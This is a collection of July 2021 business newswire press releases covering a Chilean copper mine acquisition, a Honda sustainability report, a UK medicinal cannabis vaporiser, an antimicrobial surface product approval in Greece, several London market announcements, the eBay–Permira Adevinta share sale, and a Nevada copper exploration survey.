As previously disclosed, Battery used a portion of the proceeds of the Private Placement to partially finance the acquisition from Minera Altos de Punitaqui Limitada ("MAP"), a wholly-owned subsidiary of Xiana Mining Inc. ("Xiana"), of the Punitaqui Mining Complex, a recently producing copper-gold mine located in the Coquimbo region of Chile (the "Punitaqui Acquisition"), through the settlement of outstanding obligations owed by MAP to certain secured and unsecured creditors. Proceeds will also be used to fund exploration, development, and restart activities at the Punitaqui Mining Complex; to fund exploration activities at the Company's Canadian cobalt-silver projects, and for working capital and general corporate purposes.

Overview of the Punitaqui Mining Complex

Past producing mining operation, idled in April of 2020, which consists of an integrated copper and gold mining complex including all required infrastructure and sources of water and power.

Punitaqui includes a centralized process plant which was historically fed by four proximal copper-gold deposits: San Andres, Cinabrio, Dalmacia, and Los Mantos and is currently modifying its existing tailings disposal permit while consolidating its various exploitation permits.

The copper-gold process plant consists of a standard copper sulphide crush-grind-flotation circuit to produce a marketable copper-gold concentrate. Port facilities are within 100 kilometers ("km") for shipping to domestic and foreign smelters. The MAP plant historically operated at a permitted capacity of 3,000 tonnes per day ("tpd") with allowances to 3,600 tpd, with a potential capacity of 4,000 tpd to be investigated.

MAP is situated within a 25km long mineralized district that is a classic iron oxide copper gold and mantos style copper belt that is comprised of mantos and structural controlled copper-gold-silver veins.

A number of extensional and resource infill drill targets have been identified within and surrounding each of the four main deposits and throughout the 11,800 hectares of concessions.

Battery plans to execute a low capital cost restart program with the goal of resumption of operations within four to six months after the completion of an infill drilling and engineering program and finalization of permit modifications.

MAP will assign certain authorizations, permits and contracts to Minera BMR SpA for the purpose of enabling the Company to develop and operate the Punitaqui Mine as a lessee-operator. This lessee-operator purchase structure allows Battery to acquire all the MAP assets without assuming any potential unknown liabilities while participating in 100% of the economic results of MAP. MAP has granted the Company a 99-year leasehold interest and call option pursuant to which it can convert its leasehold interest in the Punitaqui Mining Complex into a direct ownership interest, for no consideration other than any outstanding Quarterly Installments, at any time within 15 years following closing.

Commenting on the Punitaqui Acquisition and completion of the Private Placement, Martin Kostuik, Chief Executive Officer of the Company, said:

"We are pleased to have closed the final tranche of the financing and wish to thank our financing contributors for supporting this important transaction. We look forward to continuing our objective of providing our shareholders with investment exposure to the expanding global trend towards electrification through the development of our battery minerals assets. With the right investment and development strategy, the Punitaqui Mining Complex has significant upside potential as a sustainable, mid-size copper producing asset in the near term. The existing infrastructure at Punitaqui will allow us to execute on a focused low capital cost restart program. The Punitaqui Mining Complex is situated in a 25km copper district which hosts numerous existing operating and exploration projects - and is the only company with modern milling infrastructure in this highly prospective mining district. The Punitaqui mine most recently produced approximately 21,000 tonnes of copper concentrate in 2019.

The Punitaqui Acquisition is transformational for Battery as it adds a potentially near term cash flowing asset to complement our world class portfolio of battery mineral exploration assets in North and South America and Korea. The Company continues to pursue a focused program to build on the recently announced, +1 million lb cobalt resource at MaCara, in Canada, by testing over 50 near term prospective targets. We look forward to updating all our shareholders and partners in this exciting year ahead as we take action to build a premier battery mineral resources company."

Related Party Considerations

Weston Energy, LLC ("Weston Energy") acquired an aggregate of 1,069,138 Common Shares in the first tranche of the Private Placement for a subscription price of US$555,952 (the "First Tranche Weston Subscription Price"), and an aggregate of 1,538,462 Common Shares in the second tranche of the Private Placement for a subscription price of US$800.000 (the "Second Tranche Subscription Price"). Weston Energy is an insider of the Company as a result of its beneficial ownership of, or control or direction over, directly or indirectly, greater than 10% of the outstanding Common Shares. In addition, certain directors and officers of the Company acquired an aggregate of 211,941 Common Shares in the Private Placement for an aggregate subscription price of US$31,105 and C$98,881. The participation of such insiders in the Private Placement constitutes a "related party transaction" within the meaning of Multilateral Instrument 61-101 - Protection of Minority Security Holders in Special Transactions ("MI 61-101"). The Company determined that the transaction was exempt from the formal valuation and minority shareholder approval requirements of MI 61-101 by virtue of the exemptions contained in Sections 5.5(a) and 5.7(1)(a) of MI 61-101, as neither the fair market value of securities issued to insiders nor the consideration paid by related parties exceeded 25% of the Company's market capitalization. The Company did not file a material change report in respect of the related party transaction 21 days in advance of closing of the Private Placement because insider participation had not been determined at that time. The shorter period was necessary in order to permit the Company to close the Private Placement in a timeframe consistent with usual market practice for transactions of this nature.

Weston Energy satisfied the First Tranche Weston Subscription Price by the assignment to the Company of US$555,952 of "debtor-in-possession" financing owed by MAP to Weston Energy (the "DIP Financing"), which amount has been paid to the Company out of the proceeds of the Punitaqui Acquisition as described above. Weston Energy financed the Second Tranche Weston Subscription Price by selling 1,538,462 Common Shares pursuant to a private agreement with a third party purchaser concurrent with completion of the second tranche of the Private Placement.

Additional Information

The TSXV has in no way passed upon the merits of the Punitaqui Acquisition or the Private Placement, and has neither approved nor disapproved the contents of this press release. Neither the TSXV nor its Regulation Services Provider (as that term is defined in the policies of the TSXV) accepts responsibility for the adequacy or accuracy of this press release.

All securities issued pursuant to the Private Placement will be subject to a hold period, being four months and a day from the date of issuance.

Richard Goodwin, P. Eng, of JDS Energy and Mining Inc., is one of the Company's Qualified Persons ("QP") as defined by National Instrument 43-101 and has reviewed the technical information disclosed in this press release.

Scientific and technical information pertaining to the cobalt resource at McAra was extracted from the Company's NI 43-101 "Technical report on Cobalt Exploration Assets in Canada" dated as of May 26, 2020 with an effective date of March 31, 2020, prepared by Glen Cole (P. Geo) of SRK Consulting (Canada) Inc.

About Battery Mineral Resources Corp.

Battery is a multi-commodity resource company which provides investors with exposure to the world-wide trend towards electrification. Battery is engaged in the discovery, acquisition, and development of battery metals (cobalt, lithium, graphite, nickel & copper), in North and South America and South Korea with the intention of becoming a premier and sustainable supplier of battery minerals to the electrification marketplace. Battery is the largest mineral claim holder in the historic Gowganda Cobalt-Silver Camp, Canada and continues to pursue a focused program to build on the recently announced, +1 million pound cobalt resource at MaCara by testing over 50 high-grade primary cobalt silver-nickel-copper targets. In addition, Battery owns 100% of ESI Energy Services, Inc., a pipeline equipment rental and sales company with operations in Leduc, Alberta and Phoenix, Arizona. Finally, Battery is currently developing the Punitaqui Mining Complex, and pursuing the potential near term resumption of operations at the prior producing Punitaqui copper-gold mine. The Punitaqui copper-gold mine most recently produced approximately 21,000 tonnes of copper concentrate in 2019 and is located in the Coquimbo region of Chile.

For further information, please contact:

Battery Mineral Resources Corp.

Martin Kostuik

Phone: +1 (604) 229 3830

Email: info@bmrcorp.com

The securities offered pursuant to the Private Placement have not been, and will not be, registered under the U.S. Securities Act of 1933, as amended (the "U.S. Securities Act") or any U.S. state securities laws, and may not be offered or sold in the United States or to, or for the account or benefit of, United States persons absent registration or any applicable exemption from the registration requirements of the U.S. Securities Act and applicable U.S. state securities laws. This news release shall not constitute an offer to sell or the solicitation of an offer to buy securities in the United States, nor shall there be any sale of these securities in any jurisdiction in which such offer, solicitation or sale would be unlawful.

Forward-Looking Statements

This news release includes certain "forward-looking statements" under applicable Canadian securities legislation, including statements related to the potential benefits of the Punitaqui Acquisition and the likelihood of developing the Punitaqui Mining Complex into a sustainable mid-sized copper producer. Actual future results may differ materially. There can be no assurance that such statements will prove to be accurate, and actual results and future events could differ materially from those anticipated in such statements. Forward-looking statements reflect the beliefs, opinions and projections of the Company on the date the statements are made and are based upon a number of assumptions and estimates that, while considered reasonable by the Company, are inherently subject to significant business, economic, competitive, political and social uncertainties and contingencies. Many factors, both known and unknown, could cause actual results, performance, or achievements to be materially different from the results, performance or achievements that are or may be expressed or implied by such forward-looking statements and the parties have made assumptions and estimates based on or related to many of these factors. Such factors include, without limitation, the ability of the Company to obtain sufficient financing to complete the Punitaqui Acquisition, obtaining all required regulatory approvals necessary to complete the Punitaqui Acquisition and the acquisition of Xiana Indebtedness, risks related to share price and market conditions, the inherent risks involved in the mining, exploration and development of mineral properties, government regulation and fluctuating metal prices. Accordingly, readers should not place undue reliance on forward-looking statements. Battery undertakes no obligation to update publicly or otherwise revise any forward-looking statements contained herein whether as a result of new information or future events or otherwise, except as may be required by law.

NOT FOR DISTRIBUTION TO UNITED STATES NEWS WIRE SERVICES OR FOR RELEASE, PUBLICATION, DISTRIBUTION OR DISSEMINATION DIRECTLY, OR INDIRECTLY, IN WHOLE OR IN PART, IN OR INTO THE UNITED STATES

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90186




TOKYO, July 14, 2021 - (JCN Newswire) - Honda Motor Co., Ltd. today issued the "Honda Sustainability Report 2021" outlining Honda's approach to sustainability as well as initiatives Honda has undertaken based on key challenges identified.The Sustainability Report summarizes Honda's corporate activities including: 1) The direction of Honda's initiatives under the new management structure and the determination of top management regarding its new environmental and safety goals, and 2) the linkages between Honda's key initiatives to fulfill its 2030 Vision and the Company's contributions towards the achievement of the United Nations' Sustainable Development Goals (SDGs).Throughout 2020, the COVID-19 pandemic has forced us to stay at home, keep social distancing and deal with shortages in health products and medical equipment. However, Honda associates from across the world worked as one team to maintain close ties with local communities through Honda products, technologies and manpower. This report also highlights Honda's major activities undertaken under the world-wide pandemic.This report is in accordance with Global Reporting Initiative ("GRI")'s "Comprehensive" option which is one of the GRI Sustainability Reporting Standards*. The GRI Standards also define the GRI Content Index, which is a sustainability reporting template that offers a quick overview of reported sustainability information. As with last year, GRI verified the accuracy of the GRI Content Index of this year's Sustainability Report.Honda intends to continue reporting to its stakeholders about how the corporate activities of the Honda and its group companies are connected to society in various ways. Moreover, Honda will incorporate stakeholder feedback to Honda's sustainability-focused management for the future to increase its corporate value and to better contribute to the realization of a sustainable society. With that, Honda will strive to be a company society wants to exist.Honda Sustainability Report 2021Top page for the Japanese language versionhttps://www.honda.co.jp/sustainability/Top page for the English language versionhttps://global.honda/about/sustainability/report.html*The international non-financial reporting standards published by the GRI (Global Reporting Initiative), a global institution and a collaborating center of UNEP (United Nations Environment Program), that develops globally applicable standards for sustainability reporting.Source: HondaCopyright 2021 JCN Newswire . All rights reserved.
Thousands of UK patients to be the first in Europe to have access to Vape containing medicinal cannabis -

Deal with LYPHE Group will see delivery this month ahead of schedule

Kanabo, the first medicinal cannabis company to IPO on London Stock Exchange, will be delivering its medicinal cannabis formula to the UK this month, as scheduled. The deal with LYPHE Group means that thousands of patients will be the first in Europe to have access to pain relief delivered in a metered dose via Kanabo's VapePod.

The VapePod, a medical-grade handheld vaporiser, allows physicians to now confidently prescribe accurate and precise micro doses of cannabis; with each inhalation 1mg of formula is dispensed. Inhalation of cannabis extracts allows for a faster onset and higher bioavailability than tinctures and oils, and now that doctors can monitor a patient's metered-dosage, more accurate patient data.

In a letter from the Department of Health, giving support and guidance to clinicians about cannabis based products for medicinal use, it states that "the health harms of smoking are clear and patients should be informed of the health risks associated with such use." Until now, UK patients were only able to have access to medical cannabis dry flower and oil tinctures; even though they are advised against it, the majority of patients choose to smoke medicinal cannabis flowers due to the fast onset via inhalation. Kanabo's medical line aims to enable patients to move away from the harmful habit of smoking medical cannabis flowers. Patients can now take their medicine without inhaling soot, tar and carcinogens into the lungs.

The medical extract formula boasts a purity of 70% THC with 15% minor cannabinoids and terpenes, and is based on the Israeli medical cannabis pharmacopoeia as a recommendation for the treatment of pain management.

Following the announcement of Kanabo Group Plc's agreement with PharmaCann Polska in March, the production of the UK's first medical grade unlicenced cannabis extract formulas for inhalation are scheduled for delivery within a matter of days.

Under the agreement, PharmaCann and Kanabo established a customized production line for Kanabo's VapePods cartridges. Patients of LYPHE Group's UK ecosystem which includes The Medical Cannabis Clinic and Dispensary Green, will, for the first time, be able to access Kanabo's VapePods under the brand name NOIDECS. This production fulfills Kanabo's key milestone of the Sale of the Company's Medical Cannabis Products in a primary market as laid out in the prospectus as scheduled, and is an example of Kanabo's fully operational supply, production and distribution.

Dean Friday, LYPHE's CEO commented: "Kanabo are experts in novel delivery with their VapePod greatly improving onset times, and for our chronic pain patients we now have an alternative to flower vaporisation. This is the start of a revolution in medical cannabis application and we are delighted to be supplying it under the NOIDECS* brand."

Avihu Tamir, Kanabo's CEO commented: "The VapePod is a world first allowing specialist consultants to prescribe a metered dose of medicinal cannabis that is healthier for patients than the alternative which is typically smoking. Medical cannabis is a safer alternative to the conventional opiate solutions and other pain management treatments. This announcement ensures that 1000s of UK patients have access to the most effective medicinal cannabis delivery system."

About LYPHE GROUP

LYPHE Group, delivers a patient-focused medical cannabis ecosystem, and has emerged as the UK's market leader in patient care seeing over 60% of the medical cannabis patients in the country. LYPHE delivers a reliable and seamless supply of medical cannabis care and medicine. It has built a patient-access ecosystem across the UK that provides clinics, pharmacy dispensing, import infrastructure and vital educational services to patients, doctors and other health care professionals.

About KANABO GROUP PLC

Kanabo is creating a new standard in the medical cannabis industry by building an ecosystem that improves the well-being of millions around the world by providing an alternative solution to the smoking of medicinal cannabis flowers. With a focus on the distribution of cannabis-derived products for medical patients, and non-THC products for CBD consumers, Kanabo has conducted extensive Research Development in order to produce high-quality cannabis extract formulas, innovative medical-grade vaporizers, and various non-smoking consumption solutions.

Note to editor:

* a brand of high potency medicinal THC products

View source version on businesswire.com: https://www.businesswire.com/news/home/20210713006000/en/

Contacts:

Michelle Tamir

Marketing Manager

press@kanabogroup.com
US-Greek Partnership to Commercialize BIOPROTECT RTU to Meet Growing European Demand and Expand Demand outside the United States

ViaClean Technologies, LLC, a Philadelphia-based biotech company, jointly with its distributor and business development partner, Bizos Cavallo Enterprises LLC of Dallas, TX, and their partner, V-Clean Technologies S.A. of Athens, Greece, jointly announced the country of Greece's approval for the use of BIOPROTECT RTU on porous and non-porous surfaces in the fight against SARS-CoV-2. Greece has recognized BIOPROTECTTM RTU as inhibiting the growth of harmful bacteria and viruses, including SARS-CoV-2 (COVID virus), on surfaces for up to 90 days.

Having accepted and recognized the antimicrobial surface efficacy of BIOPROTECT RTU, Greece's National Organization of Medicines (??F) has approved the unrestricted consumer use of BIOPROTECT RTU to inhibit the growth of SARS-CoV-2 and other harmful viruses, bacteria, mold, and mildew, on treated surfaces. This innovative technology has proven to be effective for up to 90 days and has been applied in various public and private environments in Greece, including medical facilities, mass transit, education, commercial facilities, and more.

"ViaClean has been committed to supporting the reopening of Europe throughout the past year, hoping to instill a sense of normality as people navigate these unprecedented times," said ViaClean President and CEO, Greg Tipsord. "With Greece's adoption of BIOPROTECTTM RTU antimicrobial surface protectant, which inhibits the growth of SARS-CoV-2 and other harmful viruses and bacteria on surfaces, we believe Greece will benefit from this proven technology and strengthen their commitment to reach pre-pandemic levels of normalcy for their citizens. We've delivered an effective antimicrobial surface protectant solution that supports our mission of continued research, innovation, and dedication on a global scale."

"At V-Clean Technologies S.A., we have further cemented our commitment to Greece and the ongoing safety of our fellow citizens and visitors through our commitment to bringing innovative, patented technologies to our country to reduce the presence of bacteria, germs, fungi, algae, and other problematic micro-organisms including SARS CoV-2" said Panos Sofianos, President of V-Clean. "We thank the Greek government, and specifically the Ministry of Health and the National Organisation for Medicines (??F), our joint-venture distribution partner, Bizos Cavallo Enterprises and of course, ViaClean Technologies, for their rigor, diligence, and support throughout this process."

In Greece and in other European Member States, where regulatory approvals are pending, the unique non-leaching and non-volatile BIOPROTECTTM RTU formula has proven to be effective at killing harmful microbes and reducing odors for up to 90 days on various surfaces. "We are fortunate and thrilled to have partnered with both V-Clean Technologies and ViaClean Technologies by facilitating the approval process and distribution of BIOPROTECTTM RTU antimicrobial surface protectant for Greece," said Elvin Thibodeaux, Managing Partner of Bizos Cavallo Enterprises. "Our continued efforts will supply this innovative technology exclusively to additional markets, including the European Union and Balkan Peninsula, Russia and more, that are pursuing dynamic relief from the effects of the pandemic over the past 18 months."

In the United States, ViaClean markets the BIOPROTECTUs System, which uses patented, registered technologies: SmartTouch, a List N disinfectant, to disinfect surfaces against viruses, bacteria, and germs, and BIOPROTECT RTU antimicrobial surface protectant, to keep surfaces free of odor- and stain-causing bacteria, fungi (mold and mildew), and algae between cleanings, for up to 90 days (3 months). In the United States, however, BIOPROTECT RTU is not currently approved or available for use against the SARS-CoV-2 virus, other viruses, harmful bacteria, or any other harmful microorganisms.

Additional products offered from ViaClean and Bizos Cavallo in the United States, and pending approval in Greece, include the registered BIOPROTECT 500 concentrate, registered BIOPROTECTTM D disinfectant, and registered BIOPROTECT Hydrating Hand Sanitizer. For more information on ViaClean Technologies and The BIOPROTECTUs System, please visit bioprotectworldwide.com. For information on the aforementioned markets or sales with Bizos Cavallo Enterprises, visit www.bizoscavallo.com.

About ViaClean Technologies. LLC

ViaClean Technologies LLC is a biotech company that develops, manufactures, and markets groundbreaking, innovative antimicrobial solutions using environmentally responsible manufacturing processes. ViaClean Technologies' pioneering and proprietary technologies, products, and services provide disinfectants, antimicrobial protectants, and hand sanitizers for commercial and consumer use. ViaClean Technologies' primary mission is to market these advanced antimicrobial formulations to critical industries, manufacturing the registered formulations using environmentally responsible processes. For more information, visit the ViaClean website (bioprotectworldwide.com).

About V-Clean Technologies, S.A.

V-Clean Technologies S.A. is a biotechnology firm based in Athens, Greece that is focused on developing and marketing cutting edge technologies, products and services to meet the challenges and opportunities in Europe, Russia and the Middle East. In conjunction with our pharmaceutical affiliates and partners we strive for innovative and environmentally responsible solutions in an ever-changing marketplace. Having created a strong and sustainable network of strategic partners throughout these regions, we are able to be proactive and effective in providing services ranging from manufacturing, sourcing, logistics and regulatory advisory. For more information about V-Clean Technologies S.A. please visit our website (www.virusclean.gr).

About Bizos Cavallo Enterprises, LLC

Bizos Cavallo Enterprises, LLC is a strategic consulting and operations firm focused on emerging bioscience innovations for public health, strategic alliances, and global investment resources based in Dallas, TX, with offices in New Orleans, LA, and Winston-Salem, NC. In addition, Bizos Cavallo owns the subsidiary, BP&D International, LLC, a global leader in the procurement and the export of premium cultural commodities, including bulk grains, animal proteins, and their respective derivatives. Founded in 2017, Bizos Cavallo's network includes partners and a host of strategic alliances in the United States, Greece, China, South Korea, Japan, Singapore, Dubai, France, Brazil, the West Indies and trade operations in the United Kingdom. For more about Bizos Cavallo, visit the Bizos Cavallo Enterprises website (www.bizoscavallo.com).

View source version on businesswire.com: https://www.businesswire.com/news/home/20210713006244/en/

Contacts:

Media

Chad Belisario

EVINS Communications

Email: ViaClean@evins.com

Chad Belisario

Bizos Cavallo Enterprises, LLC

Email: media@bizoscavallo.com

Chad Belisario

V-Clean Technologies, Ltd

Email: Info@virusclean.gr
LONDON (dpa-AFX) - The UK Competition and Markets Authority or CMA has approved AstraZeneca Plc.'s (AZN.L, AZN) proposed acquisition of Alexion Pharmaceuticals Inc. (ALXN). The acquisition is expected to close on 21 July 2021. AstraZeneca noted that a group focusing on rare diseases will be created. The group will be named 'Alexion, AstraZeneca Rare Disease', and will be headquartered in Boston, US. Last week, AstraZeneca said it received clearance from the European Commission for the proposed acquisition of Alexion Pharmaceuticals. The clearance followed competition clearances in the United States, Japan and other countries globally. The CMA said in May that it started its investigation whether AstraZeneca Plc.'s takeover of Alexion Pharmaceuticals could reduce competition for products and services in the United Kingdom or any other markets. In December 2020, British drug major AstraZeneca agreed to buy Alexion Pharmaceuticals for $175 per share in cash and stock, valuing the Boston-based company at $39 billion. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
LONDON (dpa-AFX) - Tullow Oil plc (TLW.L), on Wednesday, reported that Group working interest production in the first half of 2021 averaged 61,200 bopd, in line with expectations. The company expects first-half 2021 revenue to be about $0.7 billion with a realised oil price of $58/bbl, including hedge costs of c.$50 million. At 30 June 2021, net debt is expected to be about $2.3 billion and liquidity headroom and free cash are expected to be about $0.7 billion. For the full year 2021, the company currently expects group working interest production to be in the range of 55,000 - 61,000 bopd compared to the previously communicated range of 60,000 - 66,000 bopd. The guidance reflects the sales of the Equatorial Guinea assets and the Dussafu Marin permit and first half delivery. Rahul Dhir, Chief Executive Officer, Tullow Oil plc, said, '...Tullow now has a strong financial footing and we are making very good progress in delivering on our highly cash generative business plan and continuing to reduce our debt.' Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
LONDON (dpa-AFX) - Keller Group plc (KLR.L), on Wednesday, said it acquired RECON Services Inc. for an initial cash consideration of US$23 million, and an expected earn-out of US$15 million relating to certain future contract wins. RECON is a geotechnical and industrial services company headquartered in Houston, Texas, USA. The acquisition would be funded from Keller's existing borrowing facilities. Keller noted that the acquisition of RECON is in line with the Group's strategy to be the preferred international geotechnical specialist contractor focused on sustainable markets and attractive projects. The company expects the acquisition to be earnings accretive in the first full year of ownership as RECON's revenue begins to return to more normal levels of activity and as the operational benefits of integrating the business develop, with the additional potential for new contract awards given the significant pipeline of new projects projected by the petrochemical sector in the region. Michael Speakman, Chief Executive of Keller, said, '...This timely acquisition is strategically aligned to our objective of increasing Keller's market presence in our chosen local markets, and leveraging the synergy opportunities available as a consequence of being integrated into the Keller Group.' Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
NOT FOR DISTRIBUTION OR RELEASE, IN WHOLE OR IN PART, DIRECTLY OR INDIRECTLY, IN OR INTO THE UNITED STATES OF AMERICA, AUSTRALIA, CANADA, HONG KONG OR JAPAN, OR ANY OTHER JURISDICTION IN WHICH THE DISTRIBUTION OR RELEASE WOULD BE UNLAWFUL. THIS ANNOUNCEMENT DOES NOT CONSTITUTE AN OFFER OF ANY OF THE SECURITIES DESCRIBED HEREIN.



eBay to sell a 10.2% stake in Adevinta to funds advised by global private equity firm Permira

Permira Partner Dipan Patel to be appointed to the Adevinta Board of Directors



Oslo, 14 July 2021 - Adevinta ASA (ADE) ("Adevinta" or the "Company") today welcomes the agreement between eBay Inc. ("eBay") and Permira, which will see eBay sell approximately 125 million shares to funds advised by Permira. This represents a 10.2% stake in Adevinta. On closing of this transaction, eBay will own 415 million shares, representing a 34% stake in Adevinta, and Dipan Patel, Permira Partner and Head of Consumer, will be appointed to Adevinta's Board of Directors.

Permira is a global private equity firm focused on transformational growth at scale. The firm advises funds with total committed capital of approximately 44bn. Permira has an extensive track record in investing at the intersection of consumer/prosumer and technology, having backed companies like Allegro, Mirakl, Klarna, LegalZoom, Flixbus, Catawiki, Boats Group, The Knot Worldwide, and Zwift.

Orla Noonan, Chair of the Adevinta Board, said: "We are pleased to welcome Permira as a strategic shareholder in Adevinta and Dipan Patel to the Board of Directors. They will bring their vast experience of integrating large-scale projects to our acquisition of eBay Classifieds Group."

Rolv Erik Ryssdal, CEO Adevinta, commented: "Permira has a strong track record in investing in both online marketplaces and the broader technology sector. We are confident that Permira will be able to use this expertise to support Adevinta in capturing further value for all shareholders and ultimately add to our success as the global online classifieds leader."

Dipan Patel said: "We have long been admirers of Adevinta and are delighted to make this investment. Adevinta is home to some of the most iconic online classifieds brands, combining growth, scale, margin and economic resilience. With leading positions in 16 countries covering one billion consumers, the Company is situated right at the heart of the rapidly transforming auto, real estate and jobs end markets, as well as the second-hand economy at a critical juncture for sustainable commerce."

Stefan Dziarski, Permira Partner in Frankfurt, said: "Adevinta is early in the development of its next generation business models for both its professional customers and consumers. The Company's growth ambitions, and the expertise required to deliver them, overlap perfectly with what Permira does best, and we are thrilled to be partnering with a world-class management team and board to realize the opportunity ahead."

eBay has additionally granted Permira a 30-day option to purchase an additional 10 million shares at the same price. If Permira exercises the option, eBay's ownership in Adevinta will reduce to 33%.

The transaction is expected to close in Q4 2021, once requisite Foreign Direct Investment approvals have been secured.

-ends-

Media contacts:

Melodie Laroche

Head of Corporate Communications

T: +33

John Kiely / Latika Shah / Raeesa Chowdhury-King

Edelman Smithfield

+44

Investor Relations contacts:

Marie de Scorbiac / Anne-Sophie Jugean

ir@adevinta.com

About Adevinta

Adevinta is a global online classifieds specialist, operating digital marketplaces in 16 countries. The company provides technology-based services to connect buyers with sellers and to facilitate transactions, from job offers to real estate, cars, consumer goods and more. Adevinta's portfolio spans more than 40 digital brands, covering one billion people and attracting approximately three billion average monthly visits. Leading brands include top-ranked leboncoin in France, Germany's leading classifieds sites mobile.de and eBay Kleinanzeigen, Marktplaats in the Netherlands, Kijiji in Canada, fotocasa and InfoJobs in Spain, and 50% of fast-growing OLX Brasil. Adevinta spun off from Schibsted ASA and publicly listed in Oslo, Norway in 2019. Adevinta employs around 7,000 people committed to supporting users and customers daily. Find out more at Adevinta.com.

About eBay

eBay Inc.

About Permira

Permira is a leading global investment firm focused on growth at scale. Founded in 1985, the firm advises funds with total committed capital of approximately US$50bn (44bn) and makes long-term majority and minority investments. The Permira funds have made over 250 private equity investments in four key sectors: Technology, Consumer, Services and Healthcare. Permira employs over 350 people in 15 offices across Europe, North America, and Asia.

The Permira funds have an extensive track record in investing at the intersection of consumer/prosumer and technology, having backed Allegro, Mirakl, TeamViewer, Klarna, LegalZoom, Flixbus, Ancestry, Catawiki, Boats Group, The Knot Worldwide, BestSecret, Zwift and Magento. For more information, visitwww.permira.com.




Vancouver, British Columbia--(Newsfile Corp. - July 14, 2021) - Bam Bam Resources Corp. (CSE: BBR) (OTC Pink: NPEZF) (FSE: 4NPB) ("Bam Bam" or the "Company") is pleased to announce that Zonge International has completed a 49.5 line km, Induced Polarization (IP) Survey at Majuba Hill. Data was acquired using the ZEN distributed system using a dipole array with a 300 m dipole length. All data was sent to James Wright, a highly regarded geophysicist who provided advice, project oversight, and preliminary interpretation of the data.





Figure 1



To view an enhanced version of Figure 1, please visit:

https://orders.newsfilecorp.com/files/6332/90177_bambamfig1.jpg

A large, oval-shaped resistivity response was noted on lines L7 to L9 northeast of the previously known oxide mineralization. This "789 Zone" has a 1500 m diameter and the eastern side is coincident with the north trending granodiorite/remanent magnetic zone.

Wright commented: "The resistivity annulus suggests some form of intrusive with a surrounding resistivity alteration rim. Deep chargeability anomalies coincident with the rim indicate an increased sulfide association relative to the center."

He concluded: "Associated with this feature are both shallow and deep resistivity/chargeability anomalies consistent with a variant of the classic Guilbert and Lowell (1974) porphyry model."

The deep IP program was undertaken on the large porphyry copper system emerging from the recently completed core drilling, soil geochemistry, and drone magnetic survey. New lines L7 to L11 extended the IP coverage to the northeast of the previous IP work completed in 2007 and 2018.

David Greenway, President and CEO, commented: "Every work program completed at the Majuba Hill project has new and exciting news. With this deep IP data there are two distinct porphyry-type signatures at the 789 Zone and in Section 12. This means we have two new areas that have never been explored."





Figure 2



To view an enhanced version of Figure 2, please visit:

https://orders.newsfilecorp.com/files/6332/90177_bambamfig2.jpg

Preliminary results interpreted by Wright outlined seven chargeability zones with four are open to the northeast. Zones B and C both have significant drill results along their southwestern ends as previously reported (see News Release June 1, 2021).

The deep chargeability zone interpreted for Zone E appears to be very prospective. Core hole MHB-8 targeted the southern end of the zone and intersected sulfide mineralization that is now recognized as a new discovery. Copper and silver in this chalcopyrite-sulfide zone included:

 MHB- 8: 65 feet (19.8 m) of 0.35% Copper (Cu) and 13.9 g/t Silver (Ag) from 865 to 930 feet (263.7-283.5 m)

Copper Equivalent of 0.49% Copper (Cu)

The broader interval of copper and silver in MHB-8 returned:

 MHB- 8: 470 feet (143.2 m) of 0.1% Copper (Cu) and 4.04 g/t Silver (Ag)

from 830 to 1300 feet (253.0-396.2 m)

Copper Equivalent of 0.14% Copper (Cu)

The 1-mile (1.6 km) length of this zone will require additional drilling.

Soil and rock geochemical sampling along with geologic mapping are in progress to define drill targets within Zones A, F, and G.

The drilling for MHB-8 and MHB-9 combined with surface mapping in the 789 Zone indicates that the resistivity data anomalies are commonly associated with chargeability anomalies.





Figure 3



To view an enhanced version of Figure 3, please visit:

https://orders.newsfilecorp.com/files/6332/90177_bambamfig3.jpg

Wright's interpretation of closely associated resistivity bands with an argillic core and silica/sulfide zones on either side for Line 8 is remarkably similar to the outcrop mapped in the field with thin fractures covered by iron-oxidation after pyrite. The interpreted high chargeability-sulfide zone on the L8 chargeability section is laid in the plane of the map overlaying the 400-600 m Resistivity Depth Slice.

Early-stage 3D work is in progress to interpret the deep IP results along with the drone mag survey recently completed and the drill hole data from the 2020 drill program and historic drill data available to the Company.

About Majuba Hill Property

Majuba Hill is a large contiguous land position controlling the emerging Majuba Hill Copper District, located Northeast of Reno, Nevada. The "Majuba Hill District" is comprised of extensive mineral and surface rights held by private ownership, patented mining claims, and Federal Lode Mining claims that are 100% controlled by Bam Bam Resources Corp. The land package is approximately 15.1 square miles (39.2 square km)/9,678 acres (3,917ha).

The property is easily accessed by 23 miles of well-maintained roads leading from U.S. Interstate 80. Reno and Elko are the major supply centers for exploration and mining activities in Nevada. The existing highways are sufficient for transportation of exploration-size heavy equipment. Development logistics would use the 4 lane Interstate 80 highway, Union Pacific railroad tracks and adjacent power, natural gas, and fiber optic transmission lines in the rail - highway corridor.

Mining is a common occupation in the area with several small to world class mines operating in the Winnemucca - Lovelock area over the past several decades. A well trained and experienced mining workforce pool is available in Nevada when labor and expertise are required.

